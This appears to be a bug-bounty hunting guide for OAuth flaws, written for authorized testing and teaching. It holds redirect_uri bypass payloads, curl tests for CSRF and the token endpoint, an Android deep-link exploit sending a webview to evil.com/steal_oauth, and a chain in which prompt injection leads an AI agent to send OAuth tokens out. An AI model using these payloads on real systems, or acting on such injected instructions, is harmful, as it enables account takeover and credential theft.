hunt-oauth

Crown Jewel Targets

OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.

Highest-value targets:

• Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
• Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
• Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
• Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
• Enterprise SSO connectors — critical infrastructure, high severity payouts

Asset types that pay most:

• OAuth authorization endpoints (/oauth/authorize, /connect/authorize)
• Token exchange endpoints (/oauth/token)
• Mobile deep link handlers (push_notification_webview, custom scheme URIs)
• Social login callback handlers (/auth/callback, /oauth/callback)

Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.

---

Attack Surface Signals

URL Patterns to Hunt

/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview

Response Headers That Signal OAuth

Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)

JavaScript Patterns (grep in JS bundles)

redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://

Tech Stack Signals

• Android apps with intent-filter in AndroidManifest.xml handling http:// or custom scheme URIs
• Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
• Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
• .well-known/openid-configuration present = full OIDC surface available

---

Step-by-Step Hunting Methodology

1. Enumerate all OAuth entry points
2. Spider the app for /oauth, /connect, /auth, /login paths
3. Check .well-known/openid-configuration and .well-known/oauth-authorization-server
4. Decompile mobile APKs: apktool d app.apk and grep for redirect_uri, intent://, deep link schemes

1. Map the full OAuth flow
2. Capture the authorization request: note client_id, redirect_uri, state, nonce, response_type
3. Capture the callback: note where tokens/codes land, what validates state/nonce

1. Test redirect_uri validation (highest yield)
2. Try exact host bypass: redirect_uri=https://legit.com.evil.com
3. Try path traversal: redirect_uri=https://legit.com/callback/../../../evil
4. Try open redirects on the legitimate domain first, then chain into OAuth
5. Try parameter pollution: redirect_uri=https://legit.com&redirect_uri=https://evil.com
6. Try encoded characters: %2F, %40, %23 to confuse parsers

1. Test state parameter (CSRF)
2. Remove state entirely — does the flow complete?
3. Reuse a fixed state value across sessions
4. Check if state is validated server-side or only client-side

1. Test nonce parameter (replay/bypass)
2. Capture a nonce from one flow, attempt to replay it in another
3. Check if nonce is validated after token exchange
4. Test if nonce can be extracted via referrer leak (step 9)

1. Test authentication step completeness
2. For multi-step auth (e.g., email verification + OAuth): can you skip to /oauth/token directly?
3. Check if partial auth state (unverified email) is accepted by the token endpoint

1. Hunt referrer leakage
2. After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full Referer header
3. Look specifically at language switchers, analytics calls, social share buttons triggered post-auth

1. Test mobile deep links
2. For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
3. Check if deep link handlers validate the origin/host before loading
4. Test push_notification_webview patterns that accept arbitrary URLs

1. Test misconfigured client credentials
2. Check if client_secret appears in JS bundles or APK resources
3. Test if token endpoint accepts arbitrary redirect_uri values when combined with leaked client_id/client_secret

1. Verify and document
2. Confirm state is not validated → CSRF to account link
3. Confirm token lands on attacker domain → session theft
4. Confirm email verification skippable → auth bypass
5. Run Gate 0 check before reporting

---

Payload & Detection Patterns

redirect_uri Bypass Payloads

# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com

# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com

# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com

# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb

# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com

State CSRF Test

# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"

# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE

Nonce Extraction via Referrer

# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
  -H "Referer: https://evil.com" \
  --max-redirs 0

# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html

Mobile Deep Link Exploit (Android)

# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
  -d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"

# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>

Token Endpoint Auth Bypass

# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=CAPTURED_CODE" \
  -d "client_id=CLIENT_ID" \
  -d "redirect_uri=https://legit.com/callback"

# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
  -d "grant_type=password" \
  -d "username=unverified@evil.com" \
  -d "password=password123" \
  -d "client_id=CLIENT_ID"

Grep Patterns for Recon

# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .

# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header

# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool

---

Common Root Causes

1. Weak redirect_uri validation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive.

1. Missing or unvalidated state parameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed).

1. Nonce not validated post-exchange — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.

1. Authentication step ordering not enforced server-side — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.

1. Token/code in URL with outbound requests on callback page — developers land users on a callback page with tokens in the query string, then that page fires analytics, social share, or CDN requests that leak the full URL via Referer header.

1. Mobile deep link handlers trust all input URLs — Android/iOS developers build webview wrappers for push notification flows without validating that the loaded URL belongs to their own domain.

1. Misconfigured OAuth application registration — developers register wildcard redirect URIs (https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production.

1. Client secrets embedded in mobile apps — treating confidential client credentials as public, enabling an attacker with the secret to perform token requests with arbitrary redirect URIs.

---

Bypass Techniques

Defender: Exact-match redirect_uri whitelist

Bypass: Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.

redirect_uri=https://legit.com/logout?next=https://evil.com

Defender: state parameter required

Bypass: Check if state is validated for length/format but not binding to session. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.

Defender: Fragment-only token delivery (response_type=token)

Bypass: Fragment isn't sent in Referer by browsers, but JavaScript on the callback page may read window.location.hash and pass it to analytics or postMessage to a parent frame. Intercept postMessage handlers.

Defender: Host validation on mobile deep links

Bypass: Try URL encoding (https%3A//evil.com), double encoding, Unicode normalization, or null bytes to confuse the validator while the underlying webview still navigates correctly.

Defender: Short-lived authorization codes

Bypass: Referrer leakage and open redirects work even with short-lived codes if the attacker has a fast receiver. For CSRF, the victim completes the flow so timing is less critical.

Defender: PKCE enforcement

Bypass: Check if PKCE is required for all clients or only specific ones. Legacy clients or mobile apps may be exempt. Test with code_challenge omitted — if the server still issues tokens, PKCE isn't enforced.

Defender: Nonce validation

Bypass: Check if nonce is validated client-side in JavaScript only. Intercept and modify the ID token's nonce claim if the signature isn't verified (rare but seen in misconfigured implementations). Also test if nonce is validated on initial request but not on token refresh.

---

Gate 0 Validation

Before writing the report, answer all three:

1. What can the attacker DO right now? Be specific: "I can send victim a crafted URL → victim clicks → their OAuth code redirects to my server → I exchange code for access token → I am now logged in as victim." If you can't complete this full chain, it may be informational only.

2. What does the victim LOSE? Minimum bar: victim loses authenticated session (account access). Higher bars: victim loses linked accounts, payment methods, private data. If the attacker only learns the victim's identity without gaining access, severity drops significantly.

3. Can it be reproduced in 10 minutes from scratch? Open a fresh browser/device with no prior state. If you can walk from "unauthenticated" to "authenticated as victim" in 10 minutes using only your written steps, the bug is real and reportable. If it requires lucky timing, specific victim behavior beyond "click a link," or network position, document those dependencies explicitly.

---

Real Impact Examples

Scenario 1: Mobile Session Theft via Push Notification Deep Link (PayPal/Venmo pattern)

An attacker discovers that the Android app's push notification handler accepts an arbitrary url parameter in its deep link scheme without validating the host. The attacker crafts a malicious URL using the app's custom scheme pointing to their own server. When sent to a victim (via social engineering or a compromised push notification channel), the app opens a WebView navigating to the attacker's server — which then initiates an OAuth flow and captures the OAuth token as it's returned to the "callback" now under attacker control. Result: full account takeover on a payments platform affecting millions of users. Business impact: unauthorized fund transfers, exposure of linked payment methods and transaction history.

Scenario 2: Email Verification Bypass via Direct Token Endpoint Access (GitLab pattern)

A developer creates an account with an unverified email address. Normally the platform blocks full access until email is verified. However, the /oauth/token endpoint performs no verification status check — it only validates credentials. The attacker calls /oauth/token directly with valid (unverified) credentials and receives a fully-scoped OAuth token. This token passes all downstream authorization checks. Result: complete authentication bypass, allowing unverified/disposable email accounts to gain full platform access, undermining the email verification security control entirely. At scale on a platform like GitLab, this affects CI/CD pipeline access, repository access, and API usage.

Scenario 3: OAuth Token Theft via Referrer Header on Language Change (Rockstar Games pattern)

The OAuth callback page for Facebook login lands users at a URL containing the access_token in the query string. The page includes a language-switcher widget that makes a GET request to change locale preferences. This GET request includes the full page URL as a Referer header — containing the Facebook access token. An attacker who can read server logs (or who compromises the language-change endpoint, or who is a malicious advertiser with pixel access) harvests Facebook OAuth tokens from Referer logs. Result: the attacker can authenticate to the victim's Facebook account and any other service accepting that Facebook token, constituting a cross-platform account takeover. Business impact: GDPR/privacy violation, cross-service account compromise, potential regulatory liability.

---

Disclosed Report Citations (Backfill +9 — 2020-2024)

The following real, verified bug-bounty / coordinated-disclosure cases extend this skill beyond the original 10 internal references. Each is a distinct OAuth subclass with a working PoC documented in the cited writeup.

1. Semrush — IDN-homograph redirect_uri bypass (H1 #861940)
2. Subclass: redirect_uri bypass via Unicode-confusable host (homograph)
3. Payload: redirect_uri=https://oauth.šemrush.com/cb (punycode xn--emrush-9jb.com) — passed Latin-only string check on validator
4. Root cause: server validates redirect_uri host as ASCII-string equality but does not normalize Unicode → confusables → punycode before compare
5. Disclosure: 2020, public bounty (amount not disclosed); discoverer Yassine Aboukir

1. Bohemia Interactive — redirect_uri filter bypass (BiStudio) (H1 #405100)
2. Subclass: redirect_uri validation bypass → OAuth token exfiltration
3. Payload: redirect_uri crafted to defeat the regex/prefix filter and land tokens on attacker host; reporter chained the bypass to a full token-leak PoC
4. Root cause: weak redirect_uri filter that accepted attacker-controlled host while still matching the intended pattern
5. Year: 2018-disclosed; remains a canonical example of regex-redirect_uri-bypass cited in subsequent reports

1. pixiv — path-traversal in OAuth redirect_uri (H1 #1861974)
2. Subclass: path-traversal redirect_uri bypass → authorization-code leakage
3. Payload: redirect_uri=https://legit.pixiv.host/legit/../../attacker/cb — server normalized after validation
4. Root cause: validator inspected raw string; downstream HTTP/browser handled ../ traversal and emitted code to attacker path
5. Disclosure: 2023, $2,000 bounty, 244 upvotes — confirmed paid

1. Slack — OAuth2 redirect_uri bypass (domain-suffix) (H1 #2575)
2. Subclass: redirect_uri validation bypass via domain-suffix / subdomain confusion
3. Payload: redirect_uri using a domain that suffix-matched the registered host (e.g., slack.com.attacker.com) defeated the suffix-only check
4. Root cause: endsWith() / suffix-match instead of strict host equality
5. Disclosure: 2013 (foundational case still cited in modern OAuth training material) — Slack public bounty

1. Booking.com (Facebook social-login) (Salt Labs writeup)
2. Subclass: three-step chain — open-redirect on whitelisted domain + redirect_uri bypass + response_type swap → Facebook OAuth code/token theft → ATO
3. Payload: authorize URL with redirect_uri=https://account.booking.com/<open-redirect>?next=https://attacker.tld/cb and response_type toggled to leak tokens via fragment
4. Root cause: validator trusted any path under account.booking.com; open redirect on that host bounced the auth code to attacker
5. Disclosure: March 2023 — coordinated disclosure, no public bounty figure (~500M MAU exposure)

1. Expo.io (expo-auth-session) — CVE-2023-28131 (Salt Labs writeup)
2. Subclass: scope-creep / unvalidated returnUrl parameter → cross-app OAuth-code theft (impacts every consumer of expo-auth-session social login)
3. Payload: attacker passes returnUrl=https://attacker.tld to the OAuth proxy → Expo blindly forwards Facebook/Google/Apple/Twitter code to attacker
4. Root cause: framework-level OAuth proxy did not validate returnUrl host before forwarding the social-IdP callback
5. Disclosure: May 2023; CVSS 9.6; fixed Feb 2023 hotfix + deprecated by Feb 26 2023

1. Microsoft Azure AD multi-tenant — "nOAuth" (Descope writeup)
2. Subclass: cross-IdP account-takeover via unverified, mutable email claim ("Pass-The-Token" equivalent)
3. Payload: attacker sets Azure AD admin profile mail attribute to victim's address → clicks "Log in with Microsoft" on relying party that keys users by email claim → instant ATO
4. Root cause: Microsoft email claim is mutable + unverified; RPs treated it as primary identifier
5. Disclosure: April 11 2023 reported, fixed June 20 2023 (mitigations + new xms_edov claim)

1. Grammarly / Vidio / Bukalapak — "Pass-The-Token" social-login (Salt Labs writeup)
2. Subclass: missing audience / aud validation on Facebook access_token → cross-client token replay → ATO
3. Payload: attacker obtains Facebook token issued for attacker.app → replays the token to Grammarly/Vidio/Bukalapak login API → server fetches FB user via /me, finds victim's email, issues victim session
4. Root cause: relying party calls Facebook /me with attacker-issued token but never validates the token's app_id belongs to the RP
5. Disclosure: October 2023 — coordinated, ~1B account exposure across the three sites

1. Zoom — OAuth "dirty dancing" chained ATO (Harel Security writeup)
2. Subclass: response_type=token swap + lax postMessage origin check + cookie-tossing → authorization-code leak via web_message response mode → ATO + cam/mic hijack
3. Payload: attacker page opens Zoom OAuth with response_type=code&response_mode=web_message, intercepts the resulting postMessage because window listener accepts any *.zoom.us origin → exchanges code for session
4. Root cause: combination of weak postMessage origin check, missing CSRF binding on state, and response_mode=web_message returning code to a parent window without exact-origin enforcement
5. Disclosure: reported Oct 2023, fixed Jan 2024, $15,000 bounty (Sudi / BrunoZero / H4R3L)

1. Detectify Labs — "Dirty Dancing" multi-vendor OAuth token leakage (Detectify writeup, F. Rosén)
2. Subclass: response-type switching + invalid-state quirks + 3rd-party JS gadget chains → OAuth code/token leakage with NO XSS required
3. Payload: attacker forces response_type=token on an endpoint that only validated code; combines with promiscuous postMessage listeners and URL-storage gadgets on the callback page to siphon tokens via cross-origin reads
4. Root cause: OAuth server tolerates response_type downgrade/swap; callback page leaks window.location via permissive postMessage receivers
5. Disclosure: July 2022 — multi-vendor (Apple, Microsoft, Slack et al.); PortSwigger Top 10 Web Hacks 2022 #1

---

Browser-parse vs server-parse — redirect_uri prefix-match bypass shapes

A server-side prefix-match flaw on redirect_uri is necessary but not sufficient to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.

| Server redirect_uri validator | Attack URL | Server startswith() | Browser actual host | Exploit? | |---|---|---|---|---| | prefix = https://acme.example (no slash) | https://acme.example@evil.com/cb | passes | evil.com (per WHATWG URL parsing — @ is the userinfo delimiter, BEFORE the first / after ://) | YES | | prefix = https://acme.example/ (trailing slash) | https://acme.example/@evil.com/cb | passes | acme.example (the @ is now AFTER the first /, so WHATWG parses it as a path character) | NO — browser stays on acme.example | | prefix = https://acme.example (substring match) | https://acme.example.evil.com/cb | passes | acme.example.evil.com (subdomain extension — the .evil.com extends the host) | YES | | prefix = https://acme.example/ (trailing slash, server normalizes ..) | https://acme.example/../../@evil.com/cb | passes raw startswith | acme.example (server normalizes path; even if it didn't, browser path-normalizes too) | usually NO | | prefix = https://acme.example/ (Chromium-specific) | https://acme.example/\@evil.com/cb | passes | host depends — Chromium converts \ to / so this becomes https://acme.example//@evil.com/cb and stays on acme.example | usually NO |

Operational rule: the WHATWG URL parser (used by all modern browsers since 2018) does userinfo parsing ONLY in the authority section — i.e., before the first / after ://. Once the path begins, @ is just a character. Server-side string-startswith checks don't model this — they pass URLs the browser will then route to the legitimate host.

Always headless-test (Playwright / Puppeteer / a real browser) the final navigation BEFORE writing the OAuth finding as ATO-chain. Server-side accept + browser-side stay-on-legitimate-host = not ATO. Verified live in docs/verification/phase3-playwright-browser-execution.md Test 29.

---

Related Skills & Chains

• hunt-subdomain — The single highest-impact OAuth chain. Chain primitive: OAuth redirect_uri validator accepts any *.target.com subdomain + recon reveals dev-staging.target.com CNAMEs to a deprovisioned Heroku/S3/Azure app → claim the dangling subdomain → host an OAuth callback receiver there → craft /oauth/authorize?redirect_uri=https://dev-staging.target.com/cb → victim clicks → auth code lands on attacker-claimed subdomain → exchange for token → ATO. The redirect_uri whitelist passed because the subdomain is "legitimately" under target.com control.
• hunt-ato — OAuth state-CSRF is the textbook ATO-via-account-linking primitive. Chain primitive: state parameter absent or not session-bound + victim is already logged into target.com + attacker initiates OAuth flow from their own account, captures code before exchange + crafts callback URL with attacker's code → forces victim to visit → victim's target.com session is now linked to attacker's Google/Facebook identity → attacker logs in via Google → owns victim's account.
• hunt-llm-ai — Modern OAuth flows for AI agents (ChatGPT plugins, Claude MCP servers, agentic copilots) reuse OAuth 2.1 + PKCE. Chain primitive: agentic AI accepts redirect_uri from indirect prompt-injection in a document → model crafts OAuth authorize URL with attacker callback → user clicks "approve" thinking it's the agent's own flow → tokens exfiltrated via tool-use to attacker domain.
• hunt-saml — When OAuth is layered atop a SAML IdP, the IdP-level XSW becomes the OAuth ATO path. Chain primitive: SAML SP that issues OAuth tokens after assertion-validation + XSW attack on the assertion alters NameID to admin user → SP issues OAuth token bearing admin identity → OAuth-scoped APIs grant admin access.
• security-arsenal — Pull the OAuth redirect_uri Bypass Table (host-confusion legit.com@evil.com, legit.com.evil.com, path-traversal, parameter pollution, encoded-slash %2F, fragment-injection #legit.com) and the open-redirect chain catalog when exact-match validation forces you to find an open-redirect on the whitelisted domain first.
• triage-validation — Run the Pre-Severity Gate before claiming Critical on an OAuth "open redirect" that doesn't actually leak a token (only the state param, or the callback page doesn't include credentials in URL). State-only leakage is Low; token/code leakage with successful exchange demonstration is Critical. The exchange-the-code step is non-negotiable.